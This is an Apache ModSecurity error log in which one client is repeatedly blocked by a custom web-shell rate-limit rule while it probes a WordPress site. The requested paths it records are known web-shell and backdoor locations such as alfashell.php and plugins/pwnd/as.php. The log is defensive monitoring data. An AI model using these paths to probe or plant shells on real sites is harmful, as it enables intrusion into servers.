[Fri Apr 17 00:07:54.790453 2026] [:error] [pid 43482:tid 43487] [client 158.158.73.200:20167] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aeEJWj9SZnuKxlHrct1mYAAAAMM"]
[Fri Apr 17 00:07:55.447168 2026] [:error] [pid 43482:tid 43496] [client 158.158.73.200:47104] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aeEJWz9SZnuKxlHrct1mZwAAAMw"]
[Fri Apr 17 00:07:56.124300 2026] [:error] [pid 43385:tid 43401] [client 158.158.73.200:24350] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aeEJXMnIxkJaUI8KNs7ogQAAAAw"]
[Fri Apr 17 00:07:56.826181 2026] [:error] [pid 43387:tid 43469] [client 158.158.73.200:20200] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aeEJXCBNsONqHxWTakUa7gAAAJA"]
[Fri Apr 17 00:07:58.119024 2026] [:error] [pid 43482:tid 43492] [client 158.158.73.200:64001] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "aeEJXj9SZnuKxlHrct1mfgAAAMg"]
[Fri Apr 17 00:07:59.127876 2026] [:error] [pid 43385:tid 43407] [client 158.158.73.200:47157] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "aeEJX8nIxkJaUI8KNs7olwAAABI"]
[Fri Apr 17 00:07:59.762906 2026] [:error] [pid 43482:tid 43506] [client 158.158.73.200:59599] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "aeEJXz9SZnuKxlHrct1mjgAAANY"]
[Fri Apr 17 00:08:00.967949 2026] [:error] [pid 43482:tid 43487] [client 158.158.73.200:20194] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "aeEJYD9SZnuKxlHrct1mmwAAAMM"]
[Fri Apr 17 00:08:02.280346 2026] [:error] [pid 43386:tid 43425] [client 158.158.73.200:51805] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/wp-file-manager/admin/"] [unique_id "aeEJYu91GAVgUfhPVDGi6QAAAEU"]
[Fri Apr 17 00:08:04.236732 2026] [:error] [pid 43387:tid 43473] [client 158.158.73.200:21920] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/wp-file-manager/admin/"] [unique_id "aeEJZCBNsONqHxWTakUa9wAAAJQ"]
[Fri Apr 17 00:08:05.803620 2026] [:error] [pid 43385:tid 43397] [client 158.158.73.200:24335] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/wp-file-manager/admin/"] [unique_id "aeEJZcnIxkJaUI8KNs7otAAAAAg"]
[Fri Apr 17 00:08:06.751515 2026] [:error] [pid 43482:tid 43497] [client 158.158.73.200:24430] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/wp-file-manager/admin/"] [unique_id "aeEJZj9SZnuKxlHrct1mtAAAAM0"]
[Fri Apr 17 00:08:07.908272 2026] [:error] [pid 43386:tid 43420] [client 158.158.73.200:60005] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/k.php"] [unique_id "aeEJZ-91GAVgUfhPVDGi-AAAAEA"]
[Fri Apr 17 00:08:08.753964 2026] [:error] [pid 43387:tid 43472] [client 158.158.73.200:60028] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/k.php"] [unique_id "aeEJaCBNsONqHxWTakUbBQAAAJM"]
[Fri Apr 17 00:08:09.584354 2026] [:error] [pid 43386:tid 43430] [client 158.158.73.200:20163] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/k.php"] [unique_id "aeEJae91GAVgUfhPVDGi-wAAAEo"]
[Fri Apr 17 00:08:10.906313 2026] [:error] [pid 43387:tid 43473] [client 158.158.73.200:64058] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/k.php"] [unique_id "aeEJaiBNsONqHxWTakUbCQAAAJQ"]
[Fri Apr 17 00:08:11.520538 2026] [:error] [pid 43482:tid 43495] [client 158.158.73.200:59645] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dev.php"] [unique_id "aeEJaz9SZnuKxlHrct1mvQAAAMs"]
[Fri Apr 17 00:08:12.301204 2026] [:error] [pid 43482:tid 43491] [client 158.158.73.200:21961] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dev.php"] [unique_id "aeEJbD9SZnuKxlHrct1mvwAAAMc"]
[Fri Apr 17 00:08:12.986870 2026] [:error] [pid 43482:tid 43485] [client 158.158.73.200:47131] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dev.php"] [unique_id "aeEJbD9SZnuKxlHrct1mwwAAAME"]
[Fri Apr 17 00:08:13.588248 2026] [:error] [pid 43482:tid 43503] [client 158.158.73.200:47111] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dev.php"] [unique_id "aeEJbT9SZnuKxlHrct1myAAAANM"]
[Fri Apr 17 00:08:14.130327 2026] [:error] [pid 43482:tid 43500] [client 158.158.73.200:59623] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bal.php"] [unique_id "aeEJbj9SZnuKxlHrct1myQAAANA"]
[Fri Apr 17 00:08:14.952476 2026] [:error] [pid 43482:tid 43504] [client 158.158.73.200:51807] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bal.php"] [unique_id "aeEJbj9SZnuKxlHrct1mzQAAANQ"]
[Fri Apr 17 00:08:15.593742 2026] [:error] [pid 43482:tid 43486] [client 158.158.73.200:59635] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bal.php"] [unique_id "aeEJbz9SZnuKxlHrct1m0QAAAMI"]
[Fri Apr 17 00:08:16.337477 2026] [:error] [pid 43482:tid 43505] [client 158.158.73.200:64016] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bal.php"] [unique_id "aeEJcD9SZnuKxlHrct1m0gAAANU"]
[Fri Apr 17 00:08:16.861471 2026] [:error] [pid 43387:tid 43453] [client 158.158.73.200:24330] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/in.php"] [unique_id "aeEJcCBNsONqHxWTakUbJQAAAIM"]
[Fri Apr 17 00:08:17.583930 2026] [:error] [pid 43387:tid 43456] [client 158.158.73.200:59595] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/in.php"] [unique_id "aeEJcSBNsONqHxWTakUbKQAAAIU"]
[Fri Apr 17 00:08:18.132723 2026] [:error] [pid 43386:tid 43433] [client 158.158.73.200:24347] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/in.php"] [unique_id "aeEJcu91GAVgUfhPVDGjBQAAAE0"]
[Fri Apr 17 00:08:19.017241 2026] [:error] [pid 43385:tid 43412] [client 158.158.73.200:47136] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/in.php"] [unique_id "aeEJc8nIxkJaUI8KNs7owQAAABY"]
[Fri Apr 17 00:08:19.564129 2026] [:error] [pid 43385:tid 43415] [client 158.158.73.200:59601] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gssdd.php"] [unique_id "aeEJc8nIxkJaUI8KNs7oyAAAABg"]
[Fri Apr 17 00:08:20.158358 2026] [:error] [pid 43482:tid 43507] [client 158.158.73.200:59638] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gssdd.php"] [unique_id "aeEJdD9SZnuKxlHrct1m1gAAANc"]
[Fri Apr 17 00:08:20.743139 2026] [:error] [pid 43387:tid 43458] [client 158.158.73.200:64028] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gssdd.php"] [unique_id "aeEJdCBNsONqHxWTakUbNQAAAIc"]
[Fri Apr 17 00:08:21.300917 2026] [:error] [pid 43482:tid 43503] [client 158.158.73.200:51783] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gssdd.php"] [unique_id "aeEJdT9SZnuKxlHrct1m4QAAANM"]
[Fri Apr 17 00:08:21.887484 2026] [:error] [pid 43385:tid 43402] [client 158.158.73.200:47142] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cgi-bin/admin.php"] [unique_id "aeEJdcnIxkJaUI8KNs7ozAAAAA0"]
[Fri Apr 17 00:08:22.668320 2026] [:error] [pid 43482:tid 43493] [client 158.158.73.200:64029] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cgi-bin/admin.php"] [unique_id "aeEJdj9SZnuKxlHrct1m4wAAAMk"]
[Fri Apr 17 00:08:23.273923 2026] [:error] [pid 43387:tid 43461] [client 158.158.73.200:47127] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cgi-bin/admin.php"] [unique_id "aeEJdyBNsONqHxWTakUbSQAAAIo"]
[Fri Apr 17 00:08:24.279358 2026] [:error] [pid 43387:tid 43473] [client 158.158.73.200:17088] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cgi-bin/admin.php"] [unique_id "aeEJeCBNsONqHxWTakUbVwAAAJQ"]
[Fri Apr 17 00:08:24.974884 2026] [:error] [pid 43387:tid 43460] [client 158.158.73.200:21956] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bs1.php"] [unique_id "aeEJeCBNsONqHxWTakUbYQAAAIk"]
[Fri Apr 17 00:08:26.032026 2026] [:error] [pid 43386:tid 43431] [client 158.158.73.200:21915] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bs1.php"] [unique_id "aeEJeu91GAVgUfhPVDGjFgAAAEs"]
[Fri Apr 17 00:08:27.079790 2026] [:error] [pid 43482:tid 43485] [client 158.158.73.200:51818] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bs1.php"] [unique_id "aeEJez9SZnuKxlHrct1nAgAAAME"]
[Fri Apr 17 00:08:27.956408 2026] [:error] [pid 43385:tid 43399] [client 158.158.73.200:47159] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bs1.php"] [unique_id "aeEJe8nIxkJaUI8KNs7o1wAAAAo"]
[Fri Apr 17 00:08:28.568584 2026] [:error] [pid 43385:tid 43391] [client 158.158.73.200:60025] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bengi.php"] [unique_id "aeEJfMnIxkJaUI8KNs7o2QAAAAI"]
[Fri Apr 17 00:08:29.137492 2026] [:error] [pid 43387:tid 43470] [client 158.158.73.200:51787] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bengi.php"] [unique_id "aeEJfSBNsONqHxWTakUbgQAAAJE"]
[Fri Apr 17 00:08:30.280298 2026] [:error] [pid 43387:tid 43454] [client 158.158.73.200:24327] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bengi.php"] [unique_id "aeEJfiBNsONqHxWTakUbiQAAAIQ"]
[Fri Apr 17 00:08:31.061767 2026] [:error] [pid 43385:tid 43407] [client 158.158.73.200:59995] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bengi.php"] [unique_id "aeEJf8nIxkJaUI8KNs7o3gAAABI"]
[Fri Apr 17 00:08:31.841788 2026] [:error] [pid 43385:tid 43410] [client 158.158.73.200:59647] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aeEJf8nIxkJaUI8KNs7o4gAAABQ"]
[Fri Apr 17 00:08:32.706004 2026] [:error] [pid 43386:tid 43427] [client 158.158.73.200:18921] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aeEJgO91GAVgUfhPVDGjIwAAAEc"]
[Fri Apr 17 00:08:33.532761 2026] [:error] [pid 43385:tid 43413] [client 158.158.73.200:51827] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aeEJgcnIxkJaUI8KNs7o5AAAABc"]
[Fri Apr 17 00:08:34.391857 2026] [:error] [pid 43386:tid 43421] [client 158.158.73.200:18635] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aeEJgu91GAVgUfhPVDGjKgAAAEE"]
[Fri Apr 17 00:08:36.196450 2026] [:error] [pid 43387:tid 43468] [client 158.158.73.200:64144] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/axx.php"] [unique_id "aeEJhCBNsONqHxWTakUbogAAAI8"]
[Fri Apr 17 00:08:38.016326 2026] [:error] [pid 43482:tid 43504] [client 158.158.73.200:47164] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/axx.php"] [unique_id "aeEJhj9SZnuKxlHrct1nDAAAANQ"]
[Fri Apr 17 00:08:39.520492 2026] [:error] [pid 43482:tid 43485] [client 158.158.73.200:51787] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/axx.php"] [unique_id "aeEJhz9SZnuKxlHrct1nEgAAAME"]
[Fri Apr 17 00:08:42.006890 2026] [:error] [pid 43387:tid 43467] [client 158.158.73.200:59604] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/axx.php"] [unique_id "aeEJiiBNsONqHxWTakUbuwAAAI4"]
[Fri Apr 17 00:08:43.962015 2026] [:error] [pid 43385:tid 43410] [client 158.158.73.200:22010] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfashell.php"] [unique_id "aeEJi8nIxkJaUI8KNs7o7wAAABQ"]
[Fri Apr 17 00:08:44.708664 2026] [:error] [pid 43386:tid 43442] [client 158.158.73.200:24407] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfashell.php"] [unique_id "aeEJjO91GAVgUfhPVDGjPwAAAFU"]
[Fri Apr 17 00:08:45.360875 2026] [:error] [pid 43482:tid 43499] [client 158.158.73.200:51809] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfashell.php"] [unique_id "aeEJjT9SZnuKxlHrct1nGAAAAM8"]
[Fri Apr 17 00:08:45.864929 2026] [:error] [pid 43482:tid 43504] [client 158.158.73.200:51828] [client 158.158.73.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfashell.php"] [unique_id "aeEJjT9SZnuKxlHrct1nGgAAANQ"]
